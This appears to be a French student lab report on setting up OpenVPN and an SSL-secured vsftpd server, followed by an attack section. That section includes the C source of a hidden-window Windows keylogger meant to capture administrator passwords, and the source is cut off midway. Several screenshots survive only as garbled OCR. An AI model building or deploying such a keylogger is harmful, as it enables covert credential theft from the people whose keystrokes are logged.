Il est donc possible d’utiliser la commande SCP pour envoyer les certificats à la machine Windows. Un répertoire nommé cert sera utilisé comme conteneur pour stoker les certificats.

Copie sur le client Vpn

[image: image131.png]debilan:~# scp client.?® kapollvz.16.0.200:/cerc/
képol192168.1.4's password:

chienc.crt 100t 3351 a.axe/s
client.cor 1000 s o.7KE/s
client.xey 1000 897 o0.sKB/s
aebiani-# I





Analyse des échanges par SSH :

Les lignes 3 et 4 de la capture de trame montrent que les échanges sont chiffrés.
Schéma serveur VPN :
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33. Configuration du serveur VPN :
Fichier de configuration du serveur Openvpn situé dans le répertoire « /etc/openvpn » :
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Quelques explications sur le fichier de configuration :

dev tun 

Définit que nous travaillerons en mode routé et non bridgé.

Ifconfig
 La directive ifconfig 192.168.25.1 192.168.25.2 configure l'interface tun du serveur

Comp-lzo 

La directive comp-lzo indique qu’une compression des données est utilisée pour améliorer les échanges entre le client et le serveur.
34. Configuration du client VPN :
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Les certificats et clés sont stockés dans le répertoire de Cygwin.

35. Lancement du serveur :
a) Commande de lancement : 

/etc/init.d/openvpn start

Dès lors, l’interface tun est montée et apparaît dans les connexions réseau du serveur :
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b) Test de connexion :

On lance le client VPN :
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La fenêtre suivante apparaît :
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La connexion est en cours et nous pouvons vérifier avec un Ping la bonne connexion :
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Ping côté serveur
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Ping coté client

c) Analyse des résultats :

Le tunnel est donc monté entre le serveur et le client. On peut analyser le réseau pour vérifier que les données transitant dans ce tunnel sont chiffrées :
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Capture sur l'interface physique du client

[image: image141.jpg]ATt e
Fls e vew G0 Copwe qnabes 3

WM > E x % a|

57005452 7 P 155 > ssh Lace] seq=d o 15 “en=
DimzEos - 52 Sorver (MOSCEZ i Sod 2.0 Spanten 3.8, 1pl Jablas B.carie.s
| Eae e = 2585 ZT36nt Prococ: © SanoalG-ruTTyone sase .38y
| Jiuzsery : 102015805512 S35 1058 Tak] cad Ack-24 winosead Land
3iatoac 5 TeEREE Boruar s ey Fachence Tnir
oipa0837 : 18202382510 e Exdlinice 1ni
| Ve - TEnEA St S Tan ey Sxrharge Trir
Siarasts : 1820288 552 Surver: vITTisoMallnan KGy SxhurGo Reply
Y Hons 7 TEaEA Elihnr s Di=Fi sl tnan GF Thdr
Sizagesz c 1820288 8512 SN 1158 [ASR] S0a-030 Aok B Win-75I Lunt
| iaazzar z 1020158 5512 Sorver: =iz RelTnan Gix teply
| SliTines s 16225500 Zint wew raye
Di37803 : 10i2s8 2500 Cacrypred req.tet packer T
51374375 2 8238502 21108 [ack] s=q13z2 A:
B e = 1zi1ss E52 #] Sa-Lit2 Adkosgt wn-Tsuk Len-y
37 5 e ECr pred resznner pacher oot
Siskecor : 18202582500 150 L1 TASKT Sel 838 necit wimiesst L -
Fhach : T Encryprad req Ast Facker dpani
| Si7s0s1s - 1620288 3512 Lol resiuime packer *ai-6s
Sarcn - T FAcryRten req met paiver Teado
Slatees 5 1820288 552 S0 31368 TAZK] SLa-1512 Ack-1057 win
| Siclis : 102013805512 Lacrypred resconee picker an-ss
| Fraer-ey z 16225500 158"5 S50 [asw] seqanis o
26 10423120 = 102i0s8 5500 Lacrypred req.cet pasker 1o
 mamlaas H 6238502 Soh 2PTi6e (dne] scqdleio Adc-1333 vi
28 1. a25ea : 10zi2ss 552 Lacrypred resconee packet an-t2
Rt % TE%R T Eacryhred req est packer lpar7a
30 1listens z 1820288 2502 Erripled resiume packer "ui-se
et > T Encrypred req mer phover Tenni
32110136350 : 1820288 552 ElCrpLed rescome packer ante
v nlai > 1502801 EncryRted req mer pasver Teao0
4 110141658 c 1620288 5512 ElCripLod rescue packer " aisze
3 mluassoe : Lzi0s8 550 Lacrspred reg_est paciar Ter-st
36 miadsiss s 16288 502 Ybrad re:
 Faamin z 10zi2ss E52 Cacrypeed resionce backer “an-ad
o sEamlamie o Fraee iy LR [Aek] Sefsikza azezoss vin-13380
30 10 T3040 i 1228 5512 Lacrypred resconec packer an-t2
 damineens TaniAs T&A%R A TGRS Sh [ATK] SeASiRSS AbS 10 Wins1 R
\
T R S =
&b 03 e 3 o %3 on 5 5 o

ECA e [5905: S0t abrupa: 0





Capture sur l'interface tun du client

La capture sur l’interface tun du client montre une connexion en ssh au serveur Debian. La capture sur l’interface physique du client montre les échanges entre le client VPN et le serveur. Les données encapsulées dans le tunnel VPN ne sont pas visibles.
Installation d'un serveur FTP sécurisé avec SSL
6. Introduction
      Le service ftp (file transfert protocol) ou FTP, est un protocole de communication dédié à l'échange informatique  de fichiers basé sur TCP/IP. Il permet, depuis un ordinateur, de copier des fichiers depuis ou vers un autre ordinateur du réseau, d'administrer un site web, ou encore de supprimer ou modifier des fichiers sur cet ordinateur.

La variante sécurisée de FTP avec les protocoles SSL et TLS,

· Les différents mode du FTP
Le  FTP peut fonctionner  selon deux modes qui sont les suivants:

Mode actif: c'est le client FTP qui détermine le port de connexion à utiliser pour permettre le transfert des données. Ainsi, pour que l'échange des données puisse se faire, le serveur FTP initiera la connexion de son port de données (port 20) vers le port spécifié par le client. Le client devra alors configurer son pare-feu pour autoriser les nouvelles connexions entrantes afin que l'échange des données se fasse. Ce mode est donc moins sécurisé que le FTP passif pour le client. De plus il peut s'avérer problématique pour les utilisateurs essayant d'accéder à des serveurs FTP lorsqu'ils sont derrière une passerelle NAT. Vu la façon dont fonctionne le NAT, le serveur FTP initie la connexion de données en se connectant à l'adresse externe de la passerelle NAT sur le port choisi. La passerelle NAT n'ayant pas de correspondance pour le paquet reçu dans sa table d'état le paquet sera ignorée et ne sera pas délivré au client.

Mode passif, le serveur FTP détermine lui-même le port de connexion à utiliser pour permettre le transfert des données (data connexion) et le communique au client. Dans le cas de l'existence d'un pare-feu devant le serveur FTP celui-ci devra être configuré pour autoriser la connexion de données. L'avantage de ce mode, est que le serveur FTP n'initie aucune connexion. Dans le cas des clients FTP sur un réseau local, ce mode est beaucoup plus sécurisé que le FTP en mode actif, car le pare-feu ne devra laisser passer que les flux sortant vers internet pour permettre aux clients d'échanger des données avec le serveur. Il fonctionne donc sans problèmes avec une passerelle NAT.

Etude des logiciels Serveur FTP pour debian sur le marché

Parmi les divers logiciels Serveurs FTP qui s’offraient à nous  pour la mise en place de notre serveur FTP, on a eu la possibilité entre quatre logiciels existant dans le monde Unix qui  étaient Proftp, Vsftp, Pureftpd, glftp. Notre choix c’est vu porté vers Vsftpd car en terme de sécurité, ce dernier présenté le moins  d’inconvénients. En ce qui concerne ses avantages il a mérite d’être très rapide à configurer et très sécurisé,

36. Installation et Configuration de VSFTP
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# To consume your 1/0 resources, by issuing the command “SIZE /big/File” in

¢ ASCII mode.

¢ These ASCTI options are split into upload and download because you may wish
# To enable ASCII uploads (to prevent uploaded scripts etc. from breaking),

¢ without the Dos risk of SIZE and ASCIT downloads. ASCIT mangling should be

¢ on the client anyway.
gacedy upload enabl
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¢ You may fully customise the login banner string

Ftpd_banner=FTP du groupel

A

# You may specify a File of disallowed anomymous e-mail addresses. Apparently
# useful for combatting certain bos attacks

tdleny_email_enable=ves

¢ (default Follows)

thanned_email_file=/etc/vsfpd. banned_emails

.

¢+ You may restrict local users to their home directories. see the FAQ foi

¢ the possible risks in this before using chroot_local_user or

¢ chroot_list_enable below.

“hroot_Tocal_user=Yes

_download_enable=YEs

You may specify an explicit 1ist of local users to_chroot() to their home
directory. If chroot_local_user is YES, then this 1ist becomes a 1ist of
users to NOT chroot().

root_1ist_enable=ves

(default Follows)

root_list_file=/etc/chroot_1ist

You may activate the
default to avoid remote users being able to cause excessive 1/0 on large

.
¢ R

.

¢ sites. However, some broken FTP clients such as "ncftp” and “mirror” assume
.

.

option to the builtin 1s. This is disabled by

the presence of the "-R" option, so there is a strong case for enabling it
1s_recurse_enable=ves




On redémarre le serveur vsftpd  grâce à la commande  /etc/init.d/vsftpd restart.

Avec le client Filezilla on rentre l’utilisateur adminftp.

Voici  ce que l’on peut observer avec  Wireshark :


On remarque que les paramètres de connexion pour l’utilisateur addminftp transitent en clair à travers le réseau. Ainsi par cet outil d’analyse de trame un utilisateur malintentionné pourrait s’accaparer les logins et mot de passe d’autres utilisateurs ayant accès au serveur FTP.

37. Mise en place de la couche sécurisée SSL
On doit  mettre en place  une  sécurité basée sur le SSL/TLS, Car les transactions  en ftp ne sont pas crytées, Lors de l'authentification  les paramètres de connexion pour les utilisateurs passent en clair sur le réseau,

    Il suffit de faire une analyse de trame avec Wireshark pour s'en apercevoir:
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1265 > ftp [ACK] Seq=l Ack=1 Win=513920 Len=0
Response: 220 Bienvenue sur le FTP Perso de Nico

Request: USER adminftp

£tp > 1265 [ACK] Seq=41 Ack=16 Win=5840 Len=0

Reques?

Request: SYST
Response: 215 UNIX Type: L8
Request: FEAT

Response: 211-Features:
Response: EPRT

Response: 331 Please specify the password.
T

Response: 230 Login successful.

1265 > ftp [ACK] Seq=43 Ack=139 Win=513776 Len=0

Response: EPSV
Response: MDTM
1265 > fto TACK] Sea=43 Acl

53 Win=513768 Len=0




Installation du module ssl   :
# apt-get install opensll

Le cryptage SSL se base sue ce qu'on appelle un certificat, Ce certificat peut être signé par une autorité reconnue mais dans notre cas, on vas créer un certificat auto-signé,

Cela va provoquer une alerte de sécurité lors de la connexion,

38. Création du certificat

# cd  /etc/ssl/certs

openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -keyout  /etc/ssl/certs/vsftpd,pem  -out :etc:ssl:certs:vsftpd,pem
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Ensuite on doit remplir un certain nombre de question

On doit éditer le fichier de configuration : vsftpd,conf

ssl_enable=yes

force_local_logins_ssl=yes  \\ le login passe  forcément en crypté

force_local_data_ssl=yes \\ les données transitent aussi en crypté

ssl_tlsv1=yes  \\On spécifie les versions ssl/tls à utiliser

rsa_cert_file=/etc/ssl/certs/vsftpd.pem \\On indique  ou se situe le certificat

On utilise le client Ftp filezilla on rentre l'adresse Ip du serveur ftp avec les paramètres de connexion d'un utilisateur autorisé,  
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Ftp avec chiffrement implicite

La connexion au serveur se fait sur le port 990 qui est le port de commande et sur lequel la négociation SSL s'effectue. Le port de données est le 989 et est lui aussi chiffré. La négociation SSL se fait lors de la connexion.

FTP avec  chiffrement explicite

La connexion s'effectue sur le port 21, le port de commande FTP standard, et la commande "AUTH SSL" ou "AUTH TLS-P" demande au serveur de chiffrer le transfert de commande et de données.

FTP avec chiffrement TLS explicite

La connexion s'effectue sur le port 21, le port de commande FTP standard, et la commande "AUTH TLS" ou "AUTH TLS-C" demande au serveur de chiffrer le transfert de commande. Le chiffrement du transfert de données se fait par la commande "PROT P".

On redémarre le serveur Vsftpd, en rentrant les paramètres de connexion pour les utilisateurs anonymes qui normalement sont interdits,
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5 172.16.1. TCP 1200 > ftp [ACK] Seq=1 Ack=1 Win=513920 Len=0
T 65T Response: 220 Bienvenue sur le serveur FTP
6.1.2 ToaT AUTH SSL
E .16.1.7 .16.1.2 Ftp > 1200 [ACK] Seq=35 ACK=11 Win=5840 Len=0
1600400  172.16.1.7 172.16.1.2 FTP  Response: 234 proceed with negotiation.
.754873  172.16.1.2 172.16.1.7 FTP  Request: \200j\001)\003\001\000\000\000\000\020\000\0009\000\0008\000\0005\000\000\02
1756049 172.16.1.7 172.16.1.2 FTP  Response: \026\003\001\0003\002)\000\000F\003\001E\375n$\203\301 R\341\315)\320\,360\ 346
1760469  172.16.1.2 172.16.1.7 FTP  Request: \026\003\001)\001\006\020\000\001)\002\001\000\016%\301\241¢\230\226\370] \201u
1792013 172.16.1.7 172.16.1.2 TCP  ftp > 1200 [ACK] Seq=1328 Ack=437 Win=6432 Len=0
1792233 172.16.1.7 172.16.1.2 FTP  Response: \024\003\001\000\001\001\026\003\001\000(R\314r\261\211\231\f 8\355\327\275
.793862  172.16.1.2 172.16.1.7 FTP  Request: \027\003\001\000(0\a\303+\237\236\332q\240\215\2070\240\322\314\02474. \265\3
1794074 172.16.1.7 172.16.1.2 TCP  ftp > 1200 [ACK] Seq=1379 Ack=482 Win=6432 Len=0
794261 172.16.1.7 16.1.2 FTP__ Response: \027\003\001\000H

& Frame 20 (64 bytes on wire, 64 bytes captured)

Ethernet II, src: Creatixp_05:45:d0 (00: 0), Dst: Creatixp_05:45:d0 (00:07:ca:05:45:d0)

Internet protocol, src: 172.16.1.2 (172.16.1.2), Dst: 172.16.1.7 (172.16.1.7)

@ Transmission Control Protocol, Src Port: 1200 (1200), Dst port: ftp (21), seq: 1, Ack: 35, Len: 10
source port: 1200 (1200)

pestination port: frp (21)
sequence number: 1 (relative sequence number)
[Next sequence number: 11 (relative sequence number)]

Acknowledgement numbel
Header Tength: 20 bytes
Flags: Ox18 (PSH, ACK)
window size: 513880 (scaled)
@ Checksum: 0x5182 [correct]
@ [SEQ/ACK analysis]
= File Transfer protocol (FTP)
Request command: AUTH

35 (relative ack number)





On essaye de nouveau avec l'utilisateur adminftp qu'l possède les autorisations d'accès à notre serveur FTP. En faisant une capture de trame on peut observer ceci:
Les logins et mots de passe passent cette fois ci en cryptés 
[image: image149.jpg]Ble Edt Vew Go Ceptre pnalyze Statstcs Heb

B e ol xoBRBes»»F s EEQQQBD| @B 8
Filter: ~  Expression... Clear Apply
o e soree Destraton D g
5 0.000569 .16.1.2 R 1215 > ftp [ACK] seq=1 Ack=1 win=513920 Len=0
6 0.012655  172.16.1.7 3 FTP  Response: 220 Bienvenue sur le serveur FTP
70,0180 17216115 = FTb  Request: AUTH Sst
80.015035  172.16.1.7 .2 TCP  ftp > 1215 [ACK] Seq=35 Ack=11 win=5840 Len=0
9 0.015355  172.16.1.7 22 FTP  Response: 234 proceed with negotiation.
10 0.151194  172.16.1.2 ST TCP 1215 > ftp [ACK] Seg=11 Ack=66 Win=513848 Len=0
11 0.188058 172.16.1.2 SF FTP Reques! ,20031,0011,003,001',000Q",000',0001,000',020',0001,0009',0001,0008',000',0005,000',000',026',0001,00
12 0.189699 172.16.1.7 o FTP Response: \026'003)0010003%,002\000"000F\003\001E\375n\326\037F\252\000k\3541257\31711\233\25
13 0.194627 172.16.1.2 2 FTP Request: \026'003)001\001\006'020%000'001'002001'000]300"365t"032D%C\256'a'361\3221003'366\,
14 0.230115  172.16.1.7 3 TCP  ftp > 1215 [ACK] Seq=1328 Ack=437 Win=6432 Len=0
15 0.232237 172.16.1.7 SR FTP Response: \024003)00100010011001'0260031001000(\032g\232Vv\247\213)263X\324240:T\035\2125
16 0.234667 172.16.1.2 AT FTP Reques? ,0271,003,001\,000(\3231234\,001\300\211m\000\2761213)254335\3310\250\tM\ 3231 331\253\0
17 0.234856  172.16.1.7 2 TCP  frp > 1215 [ACK] Seq=1379 Ack=482 win=6432 Len=0
18 0.235063 172.16.1.7 S FTP Response: \027\003\001\0008b\240\322\217r\356\273120001227\357\325\027\031|\361\322)371\252\3
19 0.236470  172.16.1.2 i FTP  Request: \027\0031001\000(I\333\2440\30111\0037\325@\005\332\3601YM\F\213A_T\243\271\3256\30
20 0.248513 172.16.1.7 o FTP Response: \0271003)001\0000, G/\t<\330P8)\3631\3565\251\a\2175T7245\005\346@\3733\216h\3333[01
21 0.249674 172.16.1.2 2 FTP Reques! \0271,0031,001\,000 =B7\t\332\327\3608376)243x\303r\301\235\3720\253\230v
22 0.250287 172.16.1.7 3 FTP Response: \027)003\0011000(4h]=\347\tT\030\326uF\230)327\257\21611\022K"322\213$gA\033\031<i |
23 0.251155 172.16.1.2 o 4 FTP Reques! \027\0031001\,000 73\265\305U%370\v\037\362311;\367\022\017\020\345bVBC\275\224 316",
24 0.251899 172.16.1.7 2 FTP Response: \027\003)001\000(}\030\037\205\323\213\a, \3461261\034)240%\226\234'363\313\b\245b"02
25 0.252812 172.16.1.7 S FTP Response: \027)003001\000 U\265\214\227325.1322\247h~\253\205\326R\352\023
26 0.252900  172.16.1.2 T TCP 1215 > ftp [ACK] Seq=601 Ack=1620 Win=513792 Len=0
7 0.253447 172.16.1.7 R FTP Response: \027\003001\000 263\216'200\372\254\0061017V\265'335\334\230\2561036]C1\345-\264
28 0.255475 172.16.1.7 2 FTP Response: \027\003001\000 \246)\354\225\357\302\321\3123\225\276u\b+\20504\253f\333)222vC\236
29 0.255559  172.16.1.2 7 TCP 1215 > ftp [ACK] Seq=601 Ack=1694 win=513712 Len=0
30 0.256256 172.16.1.7 s FTP Response: \027\003\001\000 211225\343\217\22012561332\036G\346'234302\247<\32051235\33303
31 0.256829 172.16.1.7 SR FTP Response: \027\003\001\000 )305=\241)261\254C\343@\201k\022305\030U
32 0.256894 .12 o7 TCP 1215 > ftp [ACK] Seq=601 Ack=1768 win=513640 Len=0
33 0.257131 237 2 FTP  Response: \027\003)001\000 \233
34 0.257287 LT o] FTP Response: \027\003\001\000 X\252\246%365Q\223:\325w\364B_USSK\V\327\264\177\216\3241205\331\2
35 0.257320 1.2 i TCP 1215 > ftp [ACK] Seq=601 Ack=1842 win=513568 Len=0
36 0.257510 25T o FTP Response: \027\003001\000 1\360\b=\3747\246\2541263\Vv\337C\355\216&314\346'021v\026)317\022
37 0.259451 LT i FTP Response: \027\003),001\000(0%2632\361\266'023\333\365]\374u\344\027\b\372\362\361\342\373\233
38 0.259548 A T TCP 1215 > ftp [ACK] Seq=601 Ack=1924 Win=513488 Len=0
39 0.260265 LT R FTP Response: \027\003\001\000 Y\302\313\324\234!25)\221L\350x2\3734pB\354\241"\351\037)206237\0
40 0.260483 LT 2 FTP Response: \027\003001\000 \253\207'344+\303x0\274)301341\023)341\365(\3645265\022\273\2123
41 0.260522 2312 o7 TCP 1215 > ftp [ACK] Seq=601 Ack=1998 win=513408 Len=0
42 0.261430 LT S FTP Response: \027)003\001\000 %344ut)\252\314)341%\353[\027)343e\346223v\263\3011207u\204\016]\3
43 0.261932 Tt l o & FTP Request: \027)003\001\000 T,\016)370\257R\201\2101300\3322211A\317\376\200\f\374\236F]5-7\23
44 0.262355 LT o FTP Response: \0271003)001\00002714\337uL\353TC\032\254\352\262\330d7~\210\234 [\b\322\031&\333"\
45 0.263109 12 2 FTP Reques! 10271,0031,001\,000 \033336.\343w\313\2100K\2232309vk\0263005X\251\3131253\3757\3031
46 0.263424 LET 3 FTP Response: \027)003\001'0000M\3609\177300\326
7 0.291376 1.2 i FTP  Request: \027\003\001\000
48 0.292005 = o FTP Response: \0271003)001\000 \zm\nzmq\nuﬁ1z\sus\zuy\n?]\zm\ssm \235\216-_\371\343@\324h\3
49 0.452945 32 2 TCP 1215 > f(p [ACK] Seq=712 Ack=2178 win=513232 Les il
=
B e 1 (42 bytes on wire, 42 bytes captured)
® Ethernet II, Creatixp_05:45:d0 (00:07 Dst: Broadcast (ff:ff:ff:ff:ff:ff) B
Address Resolution rotacal (remiest) B
(ommft ff ff ff ff ff 00 07 ca 05 45 dO 08 06 00 01
(JLN08 00 06 04 00 01 00 07 ca 05 45 dO
sEEra00 06 00 06 60 65 a¢ 10 61 07

(CREATIX 802, 11g Wireless Adapter (Microsofts Packet Scheduler) : <iive capture in progress> Fie: C:\DOCUME~1\Nicolas\.OC . [P: 51D: 51M; 0





39. Configuration des utilisateurs Virtuels

      Pour ce faire, nous allons utiliser une base de données de type Berkeley. Il s'agit d'une base de type non-SQL. Elle n'est pas prévue pour être interrogée comme Mysql ou SQL server. En fait, il s'agit d'une table de hachage. Chaque enregistrement ne sera constitué que d'un login et d'un mot de passe. Ce type de base de données est indexé, extrêmement rapide et simple à mettre en œuvre. L'utilisation de ce type de base de données est obligatoire pour l'utilisation d'une identification de type PAM. 

    Pour le principe, nous ne définissons qu'un seul utilisateur UNIX à notre serveur FTP. Lorsque l'on se connecte avec un utilisateur, le programme vérifie dans notre base de données si celui-ci existe, et si le mot de passe correspond. A partir de là, il va chercher les paramètres concernés (chroot, droits spécifiques) et renvoit le répertoire concerné. 

   Grâce au chroot, il n'y a aucun souci de sécurité, car le répertoire est considéré comme étant un répertoire racine, il n'est donc pas possible de remonter la hiérarchie. Ce point est important du point de vue sécuritaire, car chaque connexion FTP utilise exactement le même utilisateur Unix : test

   Pour créer un nouvel utilisateur, il suffit de lui créer une entrée dans la base Berkeley, et un fichier de configuration personnel.

La Base de données :
Il nous faut maintenant installer la base de données. On utilise pour cela la commande :

                 Apt-get install libdb3-util

Ce type de base de données est extrêmement simple, c'est pourquoi nous l'utilisons. Il se base sur un fichier de type texte contenant nos différentes informations, entrées une à une. En fait, il n'y a pas de tables, ni de champs à configurer ! On va juste convertir un fichier contenant nos données sous cette forme :

                     Adminftp \\login

                    Adminftp  \\password

On crée donc un fichier login.txt Puis on va le convertir en base de données. Actuellement, je n'ai pas encore trouvé le moyen de rajouter des données dans la base Berkeley directement. En conséquence, je garde le fichier login.txt, je lui donne des droits minimums (600), pour pouvoir régénérer la base par la suite.

Pour ce faire  on ouvre l’éditeur de texte

 # db3_load -T -t hash -f /etc/login.txt /etc/login.db 

# chmod 600 /etc/login.db 

# chmod 600 /etc/login.txt

On va maintenant informer le module PAM d'utiliser notre base de données nouvellement créée. Pour cela:
#VI /etc/vsftpd, pem
Auth required /lib/security/pam_userdb.so db=/etc/login

Account required /lib/security/pam_userdb.so db=/etc/login

Maintenant il faut rajouter  quelque ligne dans vsftpd, conf
# This string is the name of the PAM service vsftpd will use.

Pam_service_name=vsftpd

# Permet d'utiliser les configurations individuelles pour chaque utilisateur

User_config_dir=/etc /vsftpd_user_conf

Paramétrage des utilisateurs

On va maintenant chrooté nos utilisateurs dans leur répertoire respectif. Pour cela, on crée le répertoire qui sera utilisé pour contenir nos différents fichiers par utilisateur. Et on crée le fichier pour chaque utilisateur dans notre base de données.

# mkdir /etc/vsftpd_user_conf/

#vi /etc/vsftpd_user_conf/utilisateur

anon_world_readable_only=NO

local_root=/home/user1

write_enable=YES

anon_upload_enable=YES

anon_mkdir_write_enable=YES

anon_other_write_enable=YES

On relance le serveur vsftp: # /etc/init.d/vsftpd restart

Ajout d’autres utilisateurs

# echo "login" > /etc/vsftpd/login.txt

# echo "password" >> /etc/vsftpd/login.txt

# db3_load -T -t hash -f /etc/vsftpd/login.txt /etc/vsftpd/login.db

# /etc/init.d/vsftpd restart

40. Gestion des Fichiers de log pour le serveur FTP
     La gestion des fichiers de log est très importante sur un serveur car elle permet à l'administrateur en cas de disfonctionnement du serveur. Par ce moyen la première étape consiste à aller chercher les fichiers de log sur le serveur s'ils ont été mis en place,

Le Log est une trace d'une entité (utilisateurs, processus) qui ont eu accès au serveur.

Dans notre cas, nous remontons uniquement les informations concernant nos utilisateurs.

Le log s'organise de la façon suivante : login  date d'utilisation du serveur.

      On a décidé de créer  un utilisateur gestion log   a qui nous avons donné comme répertoire d'accueil  le chemin suivant: /var/log 

  En se connectant avec se compte utilisateur  on peut visualiser les fichiers de log


Ainsi grâce à ce fichier l'administrateur du serveur peut  aller s'adresser  à l'utilisateur directement concerné en cas de problème. De plus l'administrateur liste  l'historique de ces fichiers  pour remonter à la source du problème. C e procédé lui permet de faire une gestion de log et ainsi faire un graphique statistique  pour connaître les heures pour lesquelles le serveur est utilisé.

41. Conclusion

Le serveur Ftp est un outil très utile pour transférer des données de tout genre  au  sein même d’un réseau informatique  d’un poste à un autre .Mais il est aussi très complexe à sécurisé car nous avons vu que par défaut les données  qui le concerne passent non cryptées sur le réseau. Nous nous devions d’améliorer sa sécurité en rajoutant une couche SSL Secure socket Layer qui se trouve entre la pile TCP/IP et les protocoles applicatifs de la couche sept de modèle OSI.

De plus avec la création d’un certificat utilisateur X509, seul les utilisateurs autorisés à accéder au serveur FTP, voyaient leur donnée cryptées  grâce à la présence d’une clé  de 2048 bit. Ce certificat permet de connaitre la confidentialité, l’authentification et le non répudiation des données sur ce réseau.

Elfin on a decider de mettre en place les utilisateurs virtuels, par ce principe nous avons limité l’arborescence du serveur FTP à leur répertoire personnel. Car la disponibilité de pouvoir naviguer au sein même de l’arborescence du FTP et donc avoir accès à la totalité du serveur présenter une faille potentiellement exploitable pour en utilisateur malveillant qui aurait eu connaissance des paramètres de connexion d’un utilisateur par social-engineering pour par simple écoute du réseau.  
LES ATTAQUES

Une attaque sur un réseau peut se découper en deux étapes : 

· Récupération d'information sur le système (système d'exploitation utilisé, faille du système), sur le réseau (port ouvert, architecture du réseau).

· Exploitation des informations (exploitation des failles, utilisation des ports ouverts....)

7. Récupération d'information
Plutôt que de nous lancer dans des attaques à mettre en œuvre nous nous sommes d'abord tourner vers des logiciels existant permettant de mettre en évidence les failles de sécurité des systèmes. En effet il est plus facile d'orienter ses attaques lorsque l'on connait les types de faille existante.

Sur internet on peut trouver plusieurs logiciel en téléchargement libre permettant de récupérer des informations sur les systèmes existant, nous avons donc trouves parmi toutes cette masse 2 logiciel intéressant Nmap (Windows et linux) et Retina (Windows).

Nmap : 

Nmap permet après un scan spécifique d'obtenir un listing complet des services ouverts sur une machine distante, le numéro de port ainsi que leur nom effectif. Avec ce genre de scan il est facile de choisir l'application et d'orienter directement son attaque.

A noter qu'il est natif sur la plupart des distributions Linux mais qu'il faut l'installer sous Windows ainsi que les librairies Winpcap indispensable au bon fonctionnement du logiciel.

[image: image150.emf]
Retina : 

Retina est un logiciel permettant d'effectuer une batterie de tests complets concernant les systèmes d'exploitation (toutes distributions confondus). Apres un scan complet nous obtenons un listing complet de l'OS installer sur la machine ciblé, nom, version, failles.

Par contre la manière d'exploiter les failles n'est pas précisée, pour cela nous utiliserons notre ami www.google.fr, hélas sans résultat.
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Exploitation des informations et attaques

Une fois toutes les informations utiles sont réunit (faille de sécurité, port ouvert....), nous  pouvons choisir les attaques à appliquer plusieurs s'offre a nous. Apres quelque recherche sur internet nous avons retenus comme attaques :

· Le dénie de service

· Le keylogger

· L'injection SQL
Plusieurs logiciels disponibles sur le web permettent d'effectuer ses actions mais nous avons préférer les développer nous même. Le développement a été effectué en langage C, nous pouvons retrouver les codes source dans chaque partie détaillant les attaques avec un maximum de commentaire pour en faciliter la compréhension. Malgré notre bonne volonté, notre logiciel de déni de service ne fonctionne pas correctement. C'est pour cette raison que nous avons décidé à contre cœur d'utiliser le logiciel Netwa.

Le keylogger :

Le keylogger permet de récupérer toute les informations tapées au clavier et de les écrire dans un fichier de log, cette action étant transparente pour l'utilisateur. Nous l'utilisons afin de récupérer les mots de passe permettant de se connecter en tant qu'administrateur sur le firewall et les différents serveurs. De cette manière on peut donc en modifier les règles pour facilité l'exécution de notre déni de service.

Ce programme ne peut être compilé que sous Windows, car il utilise une librairie <windows.h> propre a se système d'exploitation. Nous n'avons pas réussit à développer un keylogger pour Linux et tous les keylogger trouver sur internet pour linux sont inutilisable car il ne fonctionne qu'en mode 'root'.

Code source :

//Déclaration des include

#include <stdio.h>

#include <stdlib.h>

#include <windows.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

//Declaration des fonctions

int isalt(); //savoir si alt est pressé

int ismajpressed(); //savoir si shift est pressé

int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )

void TraiterLettre(int lettre);

//Variable Globale

int majuscule; //savoir si le clavier est en mode caps lock

FILE *sortie;

char fichier[256];

//Programme principale

main()

{


//on masque


HWND hwnd = GetForegroundWindow() ;


ShowWindow(hwnd,SW_HIDE);


//Variable Locale


int lettre, result, lastresult, lastletter, compteur;


GetCurrentDirectory(256, fichier);


strcat(fichier,"\\fichierlog.txt");


sortie = fopen(fichier,"w+");


result=0;


compteur=0; //on initialise


lastresult=0;


while (1) 


{ //boucle sans fin

        lettre=13;



for ( lettre==13 ; lettre<256 ; lettre++ ) 



{ //test de toutes les lettres




result=GetKeyState(lettre);




//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier




if ( ( lettre==20 ) && ( result==0 ) ) 




{





majuscule=0;




}




if ( ( lettre==20 ) && ( result==1 ) ) 




{





majuscule=1;




}




if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )




{





TraiterLettre(lettre);





lastresult=result;





lastletter=lettre;





lettre=13;





Sleep(50);




}



} //fin de test des lettres



Sleep(1);


} //fin de la boucle sans fin


return 0;

}

/*****************************************************************************************************/

int ismaj() 

{


if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )


{



return 1;


}


else 


{



return 0;


}

}

/*****************************************************************************************************/

int ismajpressed() 

{


int result;


result=GetKeyState(VK_SHIFT );


if ( ( result==-127 ) || ( result==-128 ) ) 


{



return 1;


}


else 


{



return 0;


}

}

/*****************************************************************************************************/

int isalt() 

{


int result;


result=GetKeyState(VK_MENU );


if ( ( result==-127 ) || ( result==-128 ) ) 


{



return 1;


}


else


{



return 0;


}

}

/*****************************************************************************************************/

void TraiterLettre(int lettre) 

{


char towrite; //la lettre que l'on va écrire dans la console


static int compteur = 0;


if ( ( lettre<106 ) && ( lettre>95 ) ) //traitement des chiffres ( un décalage )


{



towrite=lettre-48;


}


else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) //Les lettres sont envoyées comme majuscules, il faut faire un décalage


{



towrite=lettre+32;


}


else if ( ( lettre<91 ) && ( lettre>64 ) ) //Sinon on écrit telle quelle la lettre


{



towrite=lettre;


}


else


{



switch ( lettre ) 



{




case VK_MENU:






fprintf(sortie,"<alt>",towrite);






break;




case VK_BACK:






fprintf(sortie,"<delete>",towrite);






break;




case VK_DELETE:






fprintf(sortie,"<Suppr>",towrite);






break;




case 9:






fprintf(sortie,"<TAB>",towrite);






break;




case VK_CONTROL:






fprintf(sortie,"<ctrl>",towrite);






break;




case 49 : 






if( ismaj() ) 






{






towrite='1';






}






else






{






towrite='&';






}






break;




case 50 : 






if ( ismaj() ) 






{






towrite='2';






}






else






{






towrite='é';






}






break;




case 51 : 






if ( ismaj() ) 






{






towrite='3';






}






else 






{






towrite='"';






}






break;




case 52 : 






if ( ismaj() ) towrite='4';






else towrite= '"';






break;




case 53 : 






if ( ismaj() ) towrite='5';






else towrite='(';






break;




case 54 : 






